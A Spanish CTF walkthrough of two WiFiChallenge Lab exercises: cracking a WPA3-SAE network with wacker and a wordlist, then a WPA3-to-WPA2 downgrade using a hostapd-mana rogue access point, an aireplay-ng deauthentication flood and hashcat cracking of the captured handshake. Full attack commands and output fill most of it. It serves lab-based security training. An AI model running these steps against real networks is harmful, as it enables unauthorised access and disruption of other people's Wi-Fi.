SAE (Simultaneous Authentication of Equals) es un método de autenticación robusto para redes WPA3, es un protocolo de autenticación y de intercambio de claves basado en contraseñas, utilizado en WPA3 (Wi-Fi Protected Access 3). Mejora la seguridad respecto a los protocolos anteriores al proporcionar resistencia a los ataques de fuerza bruta offline.

WiFiChallenge Lab - Challenge 13. ¿Cuál es la flag en la red wifi-management?

  • Primero vamos a comenzar escaneando para ver información de esta red wifi-management:
root@WiFiChallengeLab:/home/user# airmon-ng start wlan0
root@WiFiChallengeLab:/home/user# airmon-ng check kill
  • Vemos la red.
root@WiFiChallengeLab:/home/user# airodump-ng wlan0mon --band bg --wps -c11

Dragonblood es un conjunto de vulnerabilidades descubiertas en el protocolo WPA3, específicamente en el SAE. Tiene este nombre debido a que el Handshake de WPA3 se llama DragonFly. Estas vulnerabilidades afectan tanto la fase de autenticación como el proceso de intercambio de claves, permitiendo a los atacantes ejecutar diversos tipos de ataques, tales como la recuperación de contraseñas y la ejecución de ataques de denegación de servicio.

  • Para atacar este protocolo primero necesitamos saber la frecuencia de la red wifi indicando el canal donde opera el AP:
root@WiFiChallengeLab:/home/user# sudo iwlist wlan0mon frequency | grep 'Channel 11 :'
          Channel 11 : 2.462 GHz
  • Ahora usamos la herramienta pasándole los parámetros que nos piden:
root@WiFiChallengeLab:~/tools/wacker# ./wacker.py --wordlist ~/rockyou-top100000.txt --ssid wifi-management --bssid F0:9F:C2:11:0A:24 --interface wlan2 --freq 2462
  • Ahora tenemos la contraseña:

  • Ahora que tenemos la contraseña podemos conectarnos a la red:
root@WiFiChallengeLab:~# cat sae.conf 
network={
    ssid="wifi-management"
    psk="aqui va la contraseña"
    key_mgmt=SAE
    scan_ssid=1
    ieee80211w=2
}
  • Ahora nos conectamos a la red:
root@WiFiChallengeLab:~# wpa_supplicant -i wlan3 -c sae.conf
Successfully initialized wpa_supplicant
nl80211: send_and_recv->nl_recvmsgs failed: -33
wlan3: SME: Trying to authenticate with f0:9f:c2:11:0a:24 (SSID='wifi-management' freq=2462 MHz)
wlan3: SME: Trying to authenticate with f0:9f:c2:11:0a:24 (SSID='wifi-management' freq=2462 MHz)
wlan3: PMKSA-CACHE-ADDED f0:9f:c2:11:0a:24 0
wlan3: Trying to associate with f0:9f:c2:11:0a:24 (SSID='wifi-management' freq=2462 MHz)
wlan3: Associated with f0:9f:c2:11:0a:24
wlan3: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0
wlan3: WPA: Key negotiation completed with f0:9f:c2:11:0a:24 [PTK=CCMP GTK=CCMP]
wlan3: CTRL-EVENT-CONNECTED - Connection to f0:9f:c2:11:0a:24 completed [id=0 id_str=]
  • Ahora para poder navegar nos asignamos IP:
root@WiFiChallengeLab:/home/user# dhclient -v wlan3
Internet Systems Consortium DHCP Client 4.4.1
Copyright 2004-2018 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/

Listening on LPF/wlan3/02:00:00:00:03:00
Sending on   LPF/wlan3/02:00:00:00:03:00
Sending on   Socket/fallback
DHCPDISCOVER on wlan3 to 255.255.255.255 port 67 interval 3 (xid=0x5cdf3d77)
DHCPDISCOVER on wlan3 to 255.255.255.255 port 67 interval 5 (xid=0x5cdf3d77)
DHCPOFFER of 192.168.14.46 from 192.168.14.1
DHCPREQUEST for 192.168.14.46 on wlan3 to 255.255.255.255 port 67 (xid=0x773ddf5c)
DHCPACK of 192.168.14.46 from 192.168.14.1 (xid=0x5cdf3d77)
bound to 192.168.14.46 -- renewal in 43145 seconds.
  • Ahora vamos a la web para ver la flag:

Challenge 14. ¿Cuál es la flag en la web del AP wifi-IT?

  • Para este nivel nos dan 2 pistas y nos dicen que tenemos que hacer el ataque downgrade y que el 802.11w esta deshabilitado.

Este tipo de ataque consiste en engañar al dispositivo para que se conecte utilizando el protocolo WPA2 en lugar de WPA3, siendo vulnerable a ataques de WPA2.

802.11w está deshabilitado” significa que tu dispositivo o red Wi-Fi no está utilizando una característica de seguridad específica del estándar Wi-Fi llamada “Protected Management Frames” (PMF), Con 802.11w habilitado, esos mensajes están cifrados y autenticados, lo que evita que un atacante pueda expulsarte fácilmente de la red Wi-Fi.

  • Para comprobar si esta habilitado o no podemos usar Wireshark examinando un .cap que exportemos al capturar paquetes de la red:
root@WiFiChallengeLab:~# airodump-ng wlan0mon --band bg -c11 -w captura
  • Vemos al cliente conectado:

  • Ahora vemos con wireshark que esta en false:

  • Para hacer este ataque vamos a comenzar escribiendo el archivo de configuración para el fakeAP.
root@WiFiChallengeLab:~# cat saw.conf 
interface=wlan1
driver=nl80211
hw_mode=g
channel=11
ssid=wifi-IT
mana_wpaout=hostapd-IT.hccapx
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
wpa_passphrase=12345678
  • Ahora levantamos el fakeAP:
root@WiFiChallengeLab:~# iwconfig wlan0mon channel 11
root@WiFiChallengeLab:~# hostapd-mana saw.conf 
Configuration file: saw.conf
MANA: Captured WPA/2 handshakes will be written to file 'hostapd-IT.hccapx'.
Using interface wlan1 with hwaddr 02:00:00:00:01:00 and ssid "wifi-IT"
wlan1: interface state UNINITIALIZED->ENABLED
wlan1: AP-ENABLED 
  • Ahora vamos a expulsar al cliente para obtener el handshake.
root@WiFiChallengeLab:/home/user# aireplay-ng wlan0mon -0 0 -a F0:9F:C2:1A:CA:25 -c 10:F9:6F:AC:53:52
20:43:15  Waiting for beacon frame (BSSID: F0:9F:C2:1A:CA:25) on channel 11
20:43:15  Sending 64 directed DeAuth (code 7). STMAC: [10:F9:6F:AC:53:52] [ 0| 0 ACKs]
20:43:16  Sending 64 directed DeAuth (code 7). STMAC: [10:F9:6F:AC:53:52] [ 0| 0 ACKs]
20:43:17  Sending 64 directed DeAuth (code 7). STMAC: [10:F9:6F:AC:53:52] [ 0| 0 ACKs]
20:43:17  Sending 64 directed DeAuth (code 7). STMAC: [10:F9:6F:AC:53:52] [ 0| 0 ACKs]
20:43:18  Sending 64 directed DeAuth (code 7). STMAC: [10:F9:6F:AC:53:52] [ 0| 0 ACKs]
20:43:19  Sending 64 directed DeAuth (code 7). STMAC: [10:F9:6F:AC:53:52] [ 0| 0 ACKs]
20:43:19  Sending 64 directed DeAuth (code 7). STMAC: [10:F9:6F:AC:53:52] [ 0| 0 ACKs]
^C
  • Obtenemos el handshake:

  • Vamos hacer el formato correcto para guardar el handshake.
root@WiFiChallengeLab:~# cat hostapd-IT.hccapx | head -n 1 | awk '{print $3}' >> hostapd-itnow.22000
  • Ahora crackeamos el hash con hashcat.
C:\Users\jmrn7\Tools\hashcat-6.2.6>.\hashcat.exe -a 0 -m 22000 hostapd-itnow.22000 rockyou-top100000.txt --force     
  • Tenemos la contraseña:

  • Ahora nos podemos conectar.
root@WiFiChallengeLab:~# cat sae2.conf 
network={
   ssid="wifi-IT"
   psk="Aquí va la contraseña"
   key_mgmt=SAE
   scan_ssid=1
   ieee80211w=1
 }
  • Ahora nos conectamos
root@WiFiChallengeLab:~# wpa_supplicant -i wlan3 -c sae2.conf 
Successfully initialized wpa_supplicant
wlan3: SME: Trying to authenticate with f0:9f:c2:1a:ca:25 (SSID='wifi-IT' freq=2462 MHz)
wlan3: SME: Trying to authenticate with f0:9f:c2:1a:ca:25 (SSID='wifi-IT' freq=2462 MHz)
wlan3: PMKSA-CACHE-ADDED f0:9f:c2:1a:ca:25 0
wlan3: Trying to associate with f0:9f:c2:1a:ca:25 (SSID='wifi-IT' freq=2462 MHz)
wlan3: Associated with f0:9f:c2:1a:ca:25
wlan3: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0
wlan3: WPA: Key negotiation completed with f0:9f:c2:1a:ca:25 [PTK=CCMP GTK=CCMP]
wlan3: CTRL-EVENT-CONNECTED - Connection to f0:9f:c2:1a:ca:25 completed [id=0 id_str=]
  • Ahora nos asignamos IP.
root@WiFiChallengeLab:/home/user# dhclient wlan3 -v
Internet Systems Consortium DHCP Client 4.4.1
Copyright 2004-2018 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/

Listening on LPF/wlan3/02:00:00:00:03:00
Sending on   LPF/wlan3/02:00:00:00:03:00
Sending on   Socket/fallback
DHCPDISCOVER on wlan3 to 255.255.255.255 port 67 interval 3 (xid=0xf2ae2571)
DHCPOFFER of 192.168.15.46 from 192.168.15.1
DHCPREQUEST for 192.168.15.46 on wlan3 to 255.255.255.255 port 67 (xid=0x7125aef2)
DHCPACK of 192.168.15.46 from 192.168.15.1 (xid=0xf2ae2571)
bound to 192.168.15.46 -- renewal in 33409 seconds.
  • Vemos la flag final.
root@WiFiChallengeLab:/home/user# curl -s http://192.168.15.1/login.php | grep flag
    function copyFlagToClipboard(flag) {
        navigator.clipboard.writeText(flag).then(() => {
        alert(flag);
    Flag: <button onclick="copyFlagToClipboard('flag{xxxxxx-xxxxxxxxxxxxxxx-xxxxxxxxxxxxxx}')">flag{xxxxxx-xxxxxxxxxxxxxxx-xxxxxxxxxxxxxx}</button>